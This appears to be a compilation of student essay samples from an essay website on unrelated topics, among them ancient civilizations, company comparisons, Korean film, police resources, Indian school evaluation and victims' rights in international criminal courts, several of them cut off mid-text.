reason why the civilization had learned to use mathematics to predict the seasons. Likewise, they developed means to map out the stars in order to understand changes in the season. They also studied geometry and construction to be able build storehouses to hold the fruits of their harvest as well as religious monuments to appease the Gods to give them a good year for harvest (McKay 2002). However, in contrast to the geographical advantage enjoyed by Sumerian and Egyptian civilizations, Greeks and the Hellenistic civilization, which came later, had little patches of fertile and arable lands suitable for agriculture (McKay, 2002). Chains of mountains isolated the tribes which came down from northern parts of Europe to settle down (McKay, 2002). Unification of different city-states was a big challenge to overcome. Consequently, the city-states were either constantly at war with each other to unite the land or politicians, orators and philosophers took the charge of solidifying the Greek culture by means of a painstakingly gradual amalgamation of the tribes through education and thought (McKay, 2002). At any rate, the Greeks and the Hellenistic civilizations learned how to navigate the seas as an alternate route to reach other city-states and trade with their neighboring nations. Religion and philosophy, examined under closer scrutiny, describe the spread of a particular culture among civilizations where its tenets are compatible. The spread of Christianity, for instance, had been more successful in late Rome than it had been in other places. Notwithstanding the perilous routes early Christians had to traverse to reach Egypt and Mesopotamia, Christianity merged with Hellenistic culture much faster than any other nation (McKay, 2002). Hellenistic civilization welcomed Christianity as a change in their belief system simply because the extant mythological ideologies at this time were more divisive than they were helpful. Going back to the thesis that Greeks had to have several representative gods from different states, the motley Greek mythology no longer suited its political and social purpose when Rome was on the verge of collapse (McKay, 2002). The religion and philosophy of Egypt and Mesopotamia were firmly established as a way of life among its peoples, quite in contrast with the Greeks, where both were used to diffuse several ideas in one body of literature as a flimsy unifying factor. In other words, religion and philosophy for Egyptians and Sumerians were easily identifiable to a single ruling power in the kingdom, while these same ideologies are jointly and severally diffused in the consciousness of the Greeks (McKay, 2002). References McKay, J. , Hill, B. D. , & Buckler, J. (2002). A history of western society (7th ed. ). New York: Houghton Mifflin Company.

Comparing between 3 companies ( semco , google , apple ) Essay

Comparing between 3 companies ( semco , google , apple ) - Essay Example Moreover, despite having numerous product lines, both Google and Apple are in the IT industry. Hence, these companies are overly dependent on their capabilities to use information and communication technology skills. (Kahney) Semco has more focus on Brazil while Google and Apple are rivaling various IT organizations throughout the global markets. Further, Semco has seldom entangled in political issues though it has a declared socio-economic mission of ushering workplace democracy. On the other hand, Apple maintains a strict corporate tone. Further, Google often raises ideological issues such as freedom of expression. Hence, it had to withdraw its business from China due to political reasons. In the context of business diversification, Semco did not select to follow any rigid industrial segment. Hence, it appears to have minimized the major business risks by diversifying its investments and specialties across different industries. According to The Leigh Bureau, Semco is aggressively expanding its market shares in the sectors like real estate, energy, legal services, etc. But Apple diversified its products and packages in the same business segment. At the same time it created a â€Å"proprietary ecosystem† (Kahney). It maintained its technology and business secrets and embarked on a policy of using license agreements and copyright protection. Google has a totally different marketing strategy. It does not venture in cross industry diversification like Semco. It also does not excessively emphasize on protecting its intellectual properties. It largely operates through open source technologies providing highly flexible and accessible IT platforms to its customers. Experts like Lashinsky describe the company to be aggressive but generous in handling the market challenges. Unlike Semco, Apple is orthodox. It follows a command and control framework with clearly defined

Korean Film class midterm Essay Example | Topics and Well Written Essays - 1500 words

Korean Film class midterm - Essay Example Personal life of an individual intersects with the historical and cultural specifications of the country in a particular historical period of time. â€Å"Peppermint Candy† is successfully embodied this idea into its perfect content and unforgettable form. The central character in â€Å"Peppermint Candy† is considered to be a man that is named Kim Yong-ho. The opening scene of the film introduces his intention to commit a suicide. Kim Yong-ho stays on rails in front of the moving train with the words â€Å"I want to go back again† (Shin and Stringer, 161). Viewers have a chance to observe the result of his entire life, but the reasons seem in this situation more interesting. It is relevant to admit that further actions in the movie represent the number of causes that lead to such tragic and irrevocable final. The last words of Kim Yong-ho expose his desire to return to the past and built his life differently. The moment of frustration and despair is included into the opening scene and viewers are involved to Kim Yong-ho’s self disappointment and discord of his personality. This man does not find a sense in his life and does not have a desire to exist. Obviously, he wishes to correct his mistakes, but his understanding and recognition of inability to fix the past induces him only to death. He stays in front of the moving train and ready to go to eternity. The filmmakers of â€Å"Peppermint Candy† place the moment of highest emotional tension in the beginning of the movie. The step-by-step explanation goes next through the number of flashbacks that constructs the entire film. Lee Chang Dong uses the technique of reverse chronology in order to objectify his concept into this particular movie. Viewers pretend to follow the most relevant episodes from the Kim Yong-ho’s personal and social life. The last twenty years of his existence is depicted in the â€Å"Peppermint Candy† with the help of â€Å"reverse temporal denouement† beginning with 1999 and

Analysis of the Easy Jets mission statement's significance Essay

Analysis of the Easy Jets mission statement's significance - Essay Example Analysis of the Easy Jet’s mission statement's significance to current circumstances The mission statement of an organization can very crucial for a number of reasons. This can be a very effective tool for getting senior managers to talk about their differences and thrash out a common viewpoint. Mission statements are more usually an expression of a companys purpose and ambition. The mission statement of a company is a sort of company flag to rally round and a signpost for all stakeholders. Mission statement defines the values and behaviour standards for managers and stakeholders. A good mission statement is an influential document designed to give lucidity and evoke an emotional response. A mission statement must not be too far ahead of the current situation or it will be dismissed with If they think thats how we work around here, they are as crazy as I always thought they were.2 Hence, one of the salient objectives of the mission statement of an organization is to spell out the purpose of the organization. A mission statement also guides a signpost for the stakehol ders. â€Å"To provide our customers with safe, good value, point-to-point air services. To effect and to offer a consistent and reliable product and fares appealing to leisure and business markets on a range of European routes.† It is evident from the mission statement of EasyJet that the company’s target segments are the people who travel for pleasure and the business people who travel from one city or country to another city or country for business purposes.

Police Policies and Evaluations Term Paper Example | Topics and Well Written Essays - 750 words

Police Policies and Evaluations - Term Paper Example This makes it hard for the police to go against the generic plans that are already in place and go beyond the expected resources available to them so that they can respond to all citizen calls for service. The police have no say over their needs, policies, resource levels, as well as resource allocations because their field commanders are in charge of these processes (Chambliss, 2011). For example, police may need to respond to some citizen calls in areas that have high crime activity as speculated by the generic plans. The police already have a statistical analysis that tracks all emergency calls that shows them the hot spots of illegal activity. When the police receive these emergency calls, they many not respond immediately to the emergency calls because the generic plans requires them to try and monitor the localities by effectively using police resources so that they can wait for the right time for the police to generate the most momentous results instead of responding to every emergency call that they receive from high illegal activity areas (Rosenbaum, 1993). Another reason why provision of a rapid response to all citizen calls for service is not an effective use of police resources is because their tactical flexibility is relentlessly limited, for example, patrol, criminal investigations, and traffic. The police are deployed geographically and through functionality, and some officers can respond to some emergency calls while others cannot. If other police officers not expected to respond to such emergency calls, they may have to use extra resources, which the police department may not be able to cater for. A number of police officers are assigned radio cars and not all of them. Therefore only these police officers can respond to emergency calls because they are the only ones supposed to utilize such resources for emergency calls because if all police officers had radio cars, almost all of them would respond to one emergency call and that is ineffective use of police resources (Carr et al., 2007). Tight budgets and small police departments accountable for many groups of people are other reasons why provision of a rapid response to all citizen calls for service is not an effective use of police resources. If the police were to respond to all emergency calls rapidly, they might be using more than the resources assigned to them through tight budgets and a small number of policemen in the department. They might have to make emergency calls from high crime areas a priority compared to calls that might not have so much of an emergency. To the police, they will be using their resources effectively because the amount of resources that have been allocated to that department cannot cater for every emergency call that they receive. On the other hand, the citizens will feel that the police do not use their resources effectively or else they would respond to each and every emergency call even with limited resources (Research Management Associat es, Inc., 2004). Another reason why provision of a rapid response to all citizen calls for service is not an effective use of police resources is because some of the emergency calls made by citizens can be hoaxes or instances that the calls do not actually have to be checked out. Use of police resources requires to be accomplished at minimum costs or the resources should be utilized in the most dynamic and productive way probable. When some emergency calls go through to the police depart

Michael Bay, auteurship Essay Example | Topics and Well Written Essays - 1000 words

Michael Bay, auteurship - Essay Example y, there has been debate about filmmaking authorship, with industry experts believing that it is the screenwriter who should be applauded for a finished film product that meets with revenue success and manages to satisfy the intended target audiences (Kipen, 2006). More contemporary perspectives suggest that it is the director that should be applauded for a successful film that manages to outperform competitor films, bring high profitability and build audience satisfaction. Many directors, on many film projects, are given opportunities to express their own unique creative vision when producing a film, hence having the ability to transcend the original script and create a work of genius that is both personalised and aligned with individual director vision (Murray, 2014, p.1). In such a scenario, the director is considered a film auteur (the French word for author), in which the director’s creative voice becomes the framework by which a film is considered innovative, original an d inventive. There are some who prescribe to the Schreiber Theory proposed by David M. Kipen of the U.S. National Endowment for the Arts which suggests that true authorship accolades should be granted to the actual screenwriter rather than the director. Kipen (2006) argues that the notion of director as film auteur is distorted, with this professional stating that the script serves as the predictor of whether a film will be high quality. Hence, according to Kipen, a finished film product, when it achieves commendation and acclaim, should be attributed to the talents and expertise of the script writer. However, there appears to be substantial evidence that contemporary directors have the most influence on whether or not a finished film product will be successful and profitable. From a marketing perspective, such directors as Steven Spielberg and Tim Burton (as only two examples), have put their own unique thumbprint on many of their films that are distinguished from other competing

Why do we accept people who are beautiful Research Paper

Why do we accept people who are beautiful - Research Paper Example Alternatively, one can determine that no matter how other people think or judge, one is going to remain firm in being true to himself. Often when we encounter new people, we can’t help but form a quick opinion of them, going mainly by what they appear to be on the surface. It is not unusual to be wrong in forming an opinion so quickly, without being well informed. However, there is also a psychological explanation for this tendency and that is that many individuals simply do not possess the mental capability to carefully evaluate a new person that they may come across. That being said, there are no short cuts to knowing a person well enough for all his or her strengths and weaknesses, and jumping to quick conclusions hardly ever yields an accurate judgment anyway. Prior to speculating on the myriad aspects of ‘judgmental’ behavior, one such aspect that we will discuss in some detail pertains to physical appearance of people, which is, sadly often, the sole criteria for their being well accepted or not in the society. How often have we heard raving words of praise for beautiful women and handsome men, and how much more do we hear about them other that what they ‘look like’? While there is little doubt that physical beauty is very attractive and endearing, it is surprising indeed that people so often get so mesmerized that sage words such as ‘don’t judge a book by its cover’ don’t seem to click at all. It is unfortunate then that people who are good looking are often meted out a ‘preferential’ treatment over the not so ‘good’ looking ones. Let us be clear on one fact – good physical grooming, smart, well maintained appearances play an important role when it comes to appropriate social, professional, or personal interactions. Unkempt hair, gaudy clothes, grim looks reflecting contempt and distaste are far removed from what it takes to create a pleasant company of another human being. But let us suppose that all of the above

What is Wisdom Essay Example | Topics and Well Written Essays - 500 words

What is Wisdom - Essay Example So what is wisdom? What are characteristics of wise person? Who is a wise person? Scholars have defined the term ‘wisdom’ differently. Sometimes it is regarded as the more developed and sophisticated form of common sense. It is believed that wisdom can be developed by experience. Some others consider it as the ability to predict consequences and acting for the common good. A standard accepted definition of Wisdom is the ability to make right choices without having complete information. Robert M May says â€Å"the Wise Men and Wise Women of history knew that we must turn to faculties beyond those of sense and reason in dealing with questions of wholes and values. Feeling and intuition are as important faculties of the psyche as are sensation and intellect, if not more so.† (May, 2004). Dr. Robert Sternberg, a professor of Psychology and Education at Yale University, defines wisdom as â€Å"the application of intelligence and experience as mediated by values toward the achievement of a common good through a balance among intrapersonal, interper sonal, and extra personal interests, over the short and long terms, to achieve a balance among adaptation to existing environments, shaping of existing environments, and selection of new environments.† (Sternberg). This definition of wisdom contains three important points such as placement of values within wisdom, importance of action and wisdom’s drive towards balance. Thus, wisdom becomes the ability to discern the truth. â€Å"He, O men, is the wisest who, like Socrates, knows that his wisdom is in truth worth nothing.† In the context of above quotation, some may argue that in a practical sense wisdom, or what it makes a persons be, fetches nothing. Socrates, for his being wise achieved nothing. He was condemned, deprived of his freedom. He was tried by a jury which is appointed by a majority of the citizens. Were all those citizens wise? Not many will agree. It

The Washoe Indian Tribe of Nevada Essay Example for Free

The Washoe Indian Tribe of Nevada Essay The Washoe Indians resided around Lake Tahoe in Nevada and nearby the Great Basin. The Native American People lived near the western Great Basin, where the Washoe lands were the first areas to be settled. For reasons of survival, the Washoe Indian tribe migrated to more economically feasible areas, due to the loss of their hunting grounds, in the valley and their prior ways of life were taken over by farms that needed hired hands, and the large demand for charcoal and lumber. The Washoe tribes moved toward the cities and areas that held employment, where they could support themselves and their families and other areas where farms and ranches were available to them for sources of employment. Before the Washoe tribe met up with Europeans, the Washoe people’s territory was surrounded by the southern shore of the Honey Lake in the north, and west fork of the Walker River in the south and the Sierra Nevada crest in west and the first range east of the Sierra Nevada in the east. Usually the Washoe tribe would spend their summers in the Sierra Nevada, while they would move to the east mountain ranges and when winter rolled in, they would spend the cold months, plus the spring season in the valleys between the east and west areas. â€Å"The Washoe Tribe of Nevada and California is a federally recognized, self-governing tribe headquartered in Gardnerville, Nevada. It was organized pursuant to the Indian Reorganization Act of June, 18, 1934, as amended.† we learn from the Government Home of Nevada and California. (Honoring our Elders, 2007) â€Å"The Washoe Tribe is a sovereign nation and has supreme authority over the Washoe people, tribal lands, and its own operations.† We are also told that, â€Å"The tribal government has jurisdiction over trust and allotments in both Nevada and California, with additional tribal trust parcels located in Alpine, Placer, Sierra, Douglas, Carson and Washoe Counties.† These counties are governed by a Tribal Council and Chairman, the Washoe Tribe in which the tribe is led. (Washoe Tribe of Nevada and California, 2007) â€Å"In a personal committee announcement, for the Washoe Indian Tribe, we learn that â€Å"The Washoe Indian Tribe Human Resources Department is seeking interested tribal members to serve on the Personnel Committee.† This Indian Council meets monthly in making recommendations for the Tribal Council with regards to employment related issues. Any individuals, who are chosen to serve on the Indian committee, must be enrolled as a Washoe Tribal member. We learn from (Honoring Our Elders, 2007) that, â€Å"The Washoe Tribe of Nevada and California operates a variety of grant-funded programs†, which are used for schools, including Head Start Programs and Native Temporary Assistance to Needy Families is used to promote healthy and thoughtful development of children and their families in Washoe communities. The Washoe Indians are self contained and remain a great part of our Native American history. Reference Page Washoe Tribe of California and Nevada. (2007) Programs Honoring Our Elders. (2007) The Government Home of Nevada and California. Washoe Tribe of California and Nevada. (2007) Personnel Committee Announcement.

Comprehensive and Continuous Evaluation Pattern Essay Example for Free

Comprehensive and Continuous Evaluation Pattern Essay It is ironic that Kapil Sibal declared at 125th Birth Anniversary celebrations of great Mathematician Srinivasa Ramanujan that exam-centric education system would have to go. One wonders what Ramanujan himself would say – â€Å"Mr. Minister, even I am a product of exam centric education system†? Kapil Sibal says he would like to replace the current system with a child-centric one. Now that is a very interesting term. So how does the minister define the term? Expressing his determination to do away with rote learning and the â€Å"archaic† examination-oriented system, he said: â€Å"We are endeavouring to reform this with emphasis on skill development and unlocking the creative talent within the child. † The Ministry’s decision to do away with examinations at the end of the year, replacing them with a Comprehensive and Continuous Evaluation (CCE) system in a bid to de-stress children, was a step in that direction. [Link] Comprehensive and Continuous Evaluation has its benefits. It has to be, however, said that CCE will not de-stress the children all by itself. Students are under stress due to the range of competition. Imagine a candidate appearing for IIT JEE during +2. He faces at least 7 lakh others across the country. Imagine what goes on in the family, forget the candidate! Every IIT graduate has a story to tell as to how many sacrifices the complete family makes for success at the exam! CCE has its benefits and can de-stress the students but in an autonomous organization with tight controls within the organization. For example, some engineering colleges at graduate level and almost all of them at post-graudate level use it to the maximum benefit of both students and professors. The system is a success at these places because of the autonomy. JNTU implemented CCE in engineering colleges affiliated to it. It had limited impact and yet, it couldn’t do away with the final exam. The final exam had to cover 80% of the total score. CCE makes sense when the number of institutions involved is less. Another important factor that influences the impact of CCE is the physical proximity of affiliated institutions. Otherwise fraud and cheating would happen as the case is with JNTU’s example. Understanding the issue JNTU faced several issues with implementing CCE is more than 100 colleges in AP affiliated to it at the time of introduction of the system. They started with 80% external evaluation in the form of final comprehensive exam and 20% internal evaluation across the semester via 5 exams conducted by the instructor. Due to lack of feedback mechanism between students and the governing body – JNTU, the system led to several problems. There were cases of cheating and fraud. JNTU wanted to solve this problem by making internal evaluation â€Å"not so internal† through online objective evaluation. For this, an internal evaluation question bank was created through suggestions from all its professors, assistant professors, associate professors across the affiliated institutes. The online evaluation software would throw random questions on the screen to be answered in stipulated amount of time. This system again failed at several institutions due to infrastructure issues but the major problem was again cheating and fraud. The issue is quite clear – large educational bodies with centralized governing body cannot use CCE effectively. Effective use of CCE can happen with decentralized model. JNTU understood this and divided colleges between JNTU Hyderabad, JNTU Kakinada and JNTU Ananthapur. The division was purely based on physical proximity of the institute to the governing body. This system still faces the issues that it had initially. It will continue to face them. Take another example. IITs. For evaluating graduate students, IITs dont have a common examination across all the IITs! Even BITS Pilani which has its campuses in Pilani, Dubai, Goa and Hyderabad doesnt use CCE across all four via a common evaluation body. Closed loop within each campus is used. In fact in all these institutes, swift justice in case of any fraud/cheating via committees within the institutes ensures better evaluation, without hindering the process of education. The key phrase – â€Å"checks and balances†. One then wonders why such a tight loop cannot be framed within the schools or a set of schools within close physical proximity! What is happening now? In our current system of school education, we have CBSE at national level and as competing bodies we have State Education Boards. Schools are allowed to choose one of the bodies. The chosen body not just dictates syllabi but also evaluates students in a final examination with a common exam held on a common date at all affiliated schools. So by design CCE is missing. Private schools, so far bridged this gap by having internal evaluation which does not affect scoring at final exam but will only help students to be ready for the final evaluation. Government schools on the other hand, have been busy serving meals at noon to children rather than conducting classes regularly. All government education bodies across India have a common goal – syllabus. Core of the problem lies in this – skill development has never been the area of interest of these bodies. Skill development was and still is the school’s responsibility to compete with other schools. Students who make it top notch institutes across India via JEE, AIEEE, BITSAT etc. , generally have a set of skills in some area or the other. But it has to be understood that they do not make it there due to those skills. They acquire those skills at school, due to their own enthusiasm and sometimes due to the school’s stress on extra-curricular and co-curricular activities. Fortunately or unfortunately, skill development is not due to the governing body. Some exceptions do exist in places like Kerala though! In terms of the system of education, both geography and demography have a huge role to play. Before CCE Implementation†¦. Sibal’s megalomania and grandiose plans lack substance just because of one of his very fundamental assertion – centralization. For a country of the size of India, with such a large population, centralization of education is a disaster to start with. Decentralizing and allowing that little freedom to schools would be a very important step. Such a decentralization process must be addressed before CCE can be implemented. If we are supposed to get anything useful from implementation of CCE, what Governments at class X, +1, +2 level in Government Schools needs to Allow more freedom to schools to collaborate and spool resources – they are already in severe resource crunch. Leaving out examinations completely would be a recipe for disaster. As it is, drop out rates in Class X, +1, +2 across states like AP is too high. Any hasty introduction of CCE without first correcting some fundamental flaws in organizing schools would only bring about faster drop out rates at these levels. CCE is already available in an abstract way in private schools. Several aided and government schools tried to emulate it to see marginal success. But the issue remains. CCE it self will not reduce stress on students. In conclusion, CCE would make sense only with a proper mechanism to address drop-out rates at class X, +1, +2 levels across government schools in India. Acts proposed by Sibal like RTE only make it worse as they attack Private schools which have a decent CCE model already in place. Bottom line – leave private institutions alone. If possible allow them a % share of total evaluation points/score. Don’t scrap examinations, even if you introduce grading. Meanwhile, ensure Government and Aided school improve standards w. r. t infrastructure and faculty. Form conglomerates of schools within a certain radius and allow them to frame, organize and evaluate their students through proper resource spooling.

Human Rights of Victims and Witnesses in International Court

Human Rights of Victims and Witnesses in International Court SARPOMAA ASARE TITLE: A study of the steadiness of fundamental human rights between the interest of victims/witnesses and defendants under the International criminal court proceeding. INTRODUCTION: In recent years there has been an increasing interest in relation to the steadiness of fundamental human rights between the interest of victims/witnesses and defendants under international court proceedings. The Universal Declaration of Human rights the mother of all treaties and convention under Article 10 stipulates that Everyone is entitled in full equality to a fair and public hearing by an independent and impartial tribunal in the determination of his rights and obligations of any criminal charge against him[1]. Similarly, the European convention of Human rights Article 6 parleys the right to fair trial of everyone charged with a criminal offence[2].Fundamental Human rights is a very imperative feature in criminal trials and respected by all states without discrimination, however, it is a dilemma due to the fact that over the years victims or witnesses have had their rights upheld over that of the defendants rights during one point or another during international criminal court proceedings, specifically the ICC, ICTR AND ICTY. This indeed is a predicament due to the fact that Fundamental human rights has a universal protection and proclaimed by states all over the world. The purpose of the research seeks to investigate whether indeed there is a steadiness of fundamental rights between the interest of victims/witnesses and defendants under international court proceedings. The steadiness of the rights of victims/ witnesses and defendants will be critically analysed in relation to the international criminal courts namely the international criminal court (ICC), the international tribunal for Rwanda (ICTR) and International tribunal of former Yugoslavia(ICTY). THE OBJECTIVE OF THE STUDY The above aim will be accomplished by achieving the succeeding research objectives: To critically investigate what actually constitutes as a fair trial in international criminal court proceedings. To critically identify and analyse how fundamental rights of defendants have been upheld or declined during international criminal court proceedings. To critically identify and analyse how fundamental rights of victims/witnesses have been upheld or declined during international criminal court proceedings. To make recommendations as to how the international criminal courts can balance the rights of victims /witnesses and defendants during international criminal court proceedings. LITERATURE REVIEW: In order to do a critical summary and assessment of the variety of prevailing materials that deals with knowledge and understanding to the research project, the literature review will offer a milieu or background and to provide an understanding to preceding work by viewing the fairness in international criminal trials, the impact of the rights of victims /witnesses in international criminal court proceedings, the protection of accused in international criminal court proceedings and then finally the conflict between the rights of the victims and the rights of the accused. FAIRNESS IN INTERNATIONAL CRIMINAL TRIALS. Where interests of dissimilar trial applicants meet head on, who ought to be the main total attention of fair trial concerns in international criminal trials?[3] The right to a fair trial is a standard of international human rights law intended to safeguard individuals from the illegal and arbitrary limitation or denial of other primary rights and freedoms, the greatest outstanding of which are the right to life and liberty of the person[4].The fair trial problem can be discussed in two methods. First, are the substantive rights conferred to the defendant sufficient? This method centres on the rights set forth in the tribunals statutes, rules of procedure and evidence, and case law, for instance, the right to oppose witnesses or the right to lawyer. The solution to this part of the fair trial inquiry is complex by the exceptional arrangements of these courts, which are mended in sync from the civil law and common law legal systems. Also, there are essential problems in taking legal action in these categories of crimes, which, according to some, might call for odd trial procedures, at least from the viewpoint of domestic legitimate norms. The next method to the problem of fair trials requests, in its place, whether these international courts have the liberation and coercive authorities essential to safeguard fair trials, irrespective of the adequacy of the paper rights rendered the defendant in the tribunals statutes[5]. THE IMPACT OF THE RIGHTS OF VICTIMS/WITNESSES IN INTERNATIONAL CRIMINAL COURT PROCEEDINGS. According to researchers considering victims, interests has been construed as the taking into forethought the opinions and concerns of victims in the furtherance of the judicial practices. As victims endure harm as a consequence of crimes it is recognised that they have interests in criminal proceedings against those liable. Exactly how victims interests are thought through is reliant on the procedural rules to which they can represent their opinions and interest, likewise more essentially in how those interests are thought out by verdict makers, in the case of the courts, judges. Consequently, the contemplation of victims wellbeing in this scope can be cut down to two ideas of procedural and substantive justice for victims. Procedural justice involves impartiality of treatment in procedures. With respects to victims, this encompasses their involvement in proceedings, influence on judgements, and capacity to form results. Treating victims with reverence can improve their satisfaction with criminal proceedings. Substantive justice denotes the results of judicial instruments. For victims this encompasses rectifying their hurt and the reasons of victimisation, bringing about three main rights in connection with results: truth; justice; and compensations. Procedural and substantive justice balance each other to safeguard a more operative redress for victims harm. Involvement permits victims to tender their interests in judicial proceedings so that they have an influence on judges decision-making procedure, which consecutively can assist to safeguard results more successfully answer to their desires. Even though permitting victims to voice out their needs and interests is imperative, it does not call for their opinions to take over judges choices, just that they are weighed and taken into account in determining justice[6].The crucial problem with this explanation is that often during criminal court proceeding victims interest as well their needs affects the judges d ecisions in determining justice. What about the defendants, do their rights in terms of needs and interest affect or have an impact in the judge decision in determining justice. It is indeed a puzzle because although the victims interest will not dominate the judges decisions it will have an impact regardless of how high or low the impact is. PROTECTION OF THE RIGHTS OF THE ACCUSED IN INTERNATIONAL CRIMINAL COURT PROCEEDINGS The safeguard of the rights of the accused rests habitually in the interest of all civilised systems of law. All legal systems make possible certain principles for the rights of the accused. Those rights is the assurance that if criminal proceedings are held no wrong will be done to the suspected criminal and his right to a fair trial will be guaranteed. Those concepts, is established in the human rights law, have been embraced together on the national and universal level[7].As Judge Richard May and Marieke Wierda argue, the object and purpose of the modern tribunals are to contribute to the restoration and maintenance of peace and security in the former Yugoslavia and Rwanda. This is to be accomplished through shepherding fair and prompt trials. But what in fact does it point to that a trial necessities to be fair? This phrase is, often used within the provisions of human rights law, be made up of of different components[8]. THE CONFLICT BETWEEN THE RIGHTS OF THE VICTIMS/WITNESSES AND THE RIGHTS OF DEFENDANTS According to researchers, it is believed that In order to safeguard that the participation of victims does not turn out to be harmful to the rights of the accused, it is vital that the models and the limits of victim involvement in international criminal trials are appropriately acknowledged because of the rights of defendants. Any struggle amongst the rights of victims and the rights of defendants has to be the aim of a flawless harmonizing that must be performed in the enlightenment that the all-embracing purpose of criminal procedure is to grasp a verdict of guilt or innocence at the same time as protecting at the utmost level the rights of those exposed to the proceedings (i.e. the suspect and the accused). The contemporary criminal procedure is founded on the supposition that it is better that ten guilty persons escape than that one innocent suffers. The harmonizing of victim participation alongside the rights of the accused should be stimulated by some procedural doctrines of a n authoritative nature, which signify the support of international criminal procedure: the presumption of innocence, the right to a fair hearing in full equality, the right to an prompt trial, the right to challenge and divulge evidence, and so on[9]. Increasingly, the research community believes that there has to be some set of procedural principles in order to balance the victims participation in the rights of the accused, what other procedural principles the international court needs in order to balance the victims participation rights and that of the accused. The gap is still visible we dont necessary need any procedural principles in order to balance the rights. Rights are rights everyone is entitled to, it does not distinguish between persons. It is important to trace these rights to prove that rights need not be set in any procedural principles they have already been established by law instruments. This research study will prove that there is no need to have any set guidelines for international criminal courts to follow. The research will prove that the right to fair trail already exists so there will be no need to formulate any new procedural principles the courts only need to refer to them and this would resolve any confl ict or tension during criminal proceedings. THE PROPOSED METHODOLOGY The proposed approach to the research project is doctrinal legal research method. Doctrinal legal research is committed to the making of legal doctrines as a result of the inquiry of legal rules. In the thick of the common law jurisdictions, legal rules remain to be embedded within statutes and cases. They clear up doubts in the midst of rules and attribute them in a reasonable and comprehensible structure and denominated by their connection to other rules. The methods of doctrinal research are portrayed by the study of legal texts and, for this purpose, it is habitually termed as black-letter law. Doctrinal research is consequently committed to the uncovering and progress of legal doctrines for publication in textbooks or journal articles and its research inquiries take the form of probing what is the law? in precise matters[10].Similarly, the benefit of doctrinal research is that it is the orderly laying down of the law in precise context, it clears up obscurities within rules, and it places them in a sound and clear structure to describe their relationship to other rules. Doctrinal legal research is consequently involved with the finding and advancement of legal doctrines and it sheds light on the nature of a law[11] In order to address the objectives namely to critically investigate what actually constitutes as a fair trial in international criminal court proceedings, to critically identify and analyse how fundamental rights of defendants have been upheld or declined during international criminal court proceedings ,to critically identify and analyse how fundamental rights of victims/witnesses have been upheld or declined during international criminal court proceedings and To make recommendations as to how the international criminal courts can balance the rights of victims /witnesses and defendants during international criminal court proceedings doctrinal legal research method will be used. Primary and secondary Sources such as books, journals/articles, statutes and cases will be used to carry out in-depth investigations of the various objectives. The sources will help bring out what is the law on the matter and then appropriate recommendations can be made on how to improve the steadiness of fund amental human rights between the interest of victims/witnesses and defendants under the International criminal court proceeding. This approach clears up any vagueness in the law and also shed light on the nature of the law on the matters above. Bibliography Azam MM and Open Book Publishers., Intellectual Property and Public Health in the Developing World (Open Book Publishers 2016) Chynoweth P, Legal Research (2008) accessed 4 January 2017 Cogan JK, International Criminal Courts and Fair Trials: Difficulties and Prospects (2016) 27 Yale Journal of International Law Article accessed 6 January 2017 ECHR, European Convention on Human Rights (2014) accessed 30 December 2016 Kremens K, The Protection of the Accused in International Criminal Law according to the Human Rights Law standard1 (2011) 1 Wroclaw Review of Law, Administration Economics Moffett L, Meaningful and Effective? Considering Victims Interests through Participation at the International Criminal Court (2015) 26 Criminal Law Forum 255 Rigney S, The Words Dont Fit You: Recharacterisation of the Charges, Trial Fairness, and Katanga (2014) VOL15(1) Melbourne Journal of International Law accessed 4 January 2017 Universal Declaration of Human Rights accessed 30 December 2016 WHAT IS A FAIR TRIAL? A Basic Guide to Legal Standards and Practice Lawyers Committee for Human Rights (2000) accessed 6 January 2017 Zappala S, The Rights of Victims v. The Rights of the Accused (2010) 8 Journal of International Criminal Justice 137 Citations, Quotes Annotations Universal Declaration of Human Rights accessed 30 December 2016 Universal Declaration of Human Rights p1 p8 accessed 30 December 2016. Article 10Everyone is entitled in full equality to a fair and public hearing by an independent and impartial tribunal, in the determination of his rights and obligations and of any criminal charge against him Universal Declaration of Human Rights p1 p8 accessed 30 December 2016. Zappala S, The Rights of Victims v. The Rights of the Accused (2010) 8 Journal of International Criminal Justice 137 better that ten guilty persons escape than that one innocent suffers S Zappala, The Rights of Victims v. The Rights of the Accused (2010) 8 Journal of International Criminal Justice 137, p137 p164. [1] Article 10 Everyone is entitled in full equality to a fair and public hearing by an independent and impartial tribunal, in the determination of his rights and obligations and of any criminal charge against himUniversal Declaration of Human Rights p1 p8 accessed 30 December 2016. [2] ECHR, European Convention on Human Rights (2014) accessed 30 December 2016 [3] Sophie Rigney, The Words Dont Fit You: Recharacterisation of the Charges, Trial Fairness, and Katanga (2014) VOL15(1) Melbourne Journal of International Law accessed 4 January 2017. [4] WHAT IS A FAIR TRIAL? A Basic Guide to Legal Standards and Practice Lawyers Committee for Human Rights (2000) accessed 6 January 2017. [5] Jacob Katz Cogan, International Criminal Courts and Fair Trials: Difficulties and Prospects (2016) 27 Yale Journal of International Law Article accessed 6 January 2017. [6] Luke Moffett, Meaningful and Effective? Considering Victims Interests through Participation at the International Criminal Court (2015) 26 Criminal Law Forum 255. [7] Karolina Kremens, The Protection of the Accused in International Criminal Law according to the Human Rights Law standard1 (2011) 1 Wroclaw Review of Law, Administration Economics. [8] As Judge Richard May and Marieke Wierda argue, the object and purpose of the modern tribunals are to contribute to the restoration and maintenance of peace and security in the former Yugoslavia and RwandaKarolina Kremens, The Protection of the Accused in International Criminal Law according to the Human Rights Law standard1 (2011) 1 Wroclaw Review of Law, Administration Economics p26 p48. [9] better that ten guilty persons escape than that one innocent sufferS Zappala, The Rights of Victims v. The Rights of the Accused (2010) 8 Journal of International Criminal Justice 137, p137 p164. [10] Paul Chynoweth, Legal Research (2008) accessed 4 January 2017. [11] Mohammad Monirul Azam and Open Book Publishers., Intellectual Property and Public Health in the Developing World (Open Book Publishers 2016).

The Breakdown of the Carbone family in A View From The Bridge :: A View from the Bridge, Arthur Miller

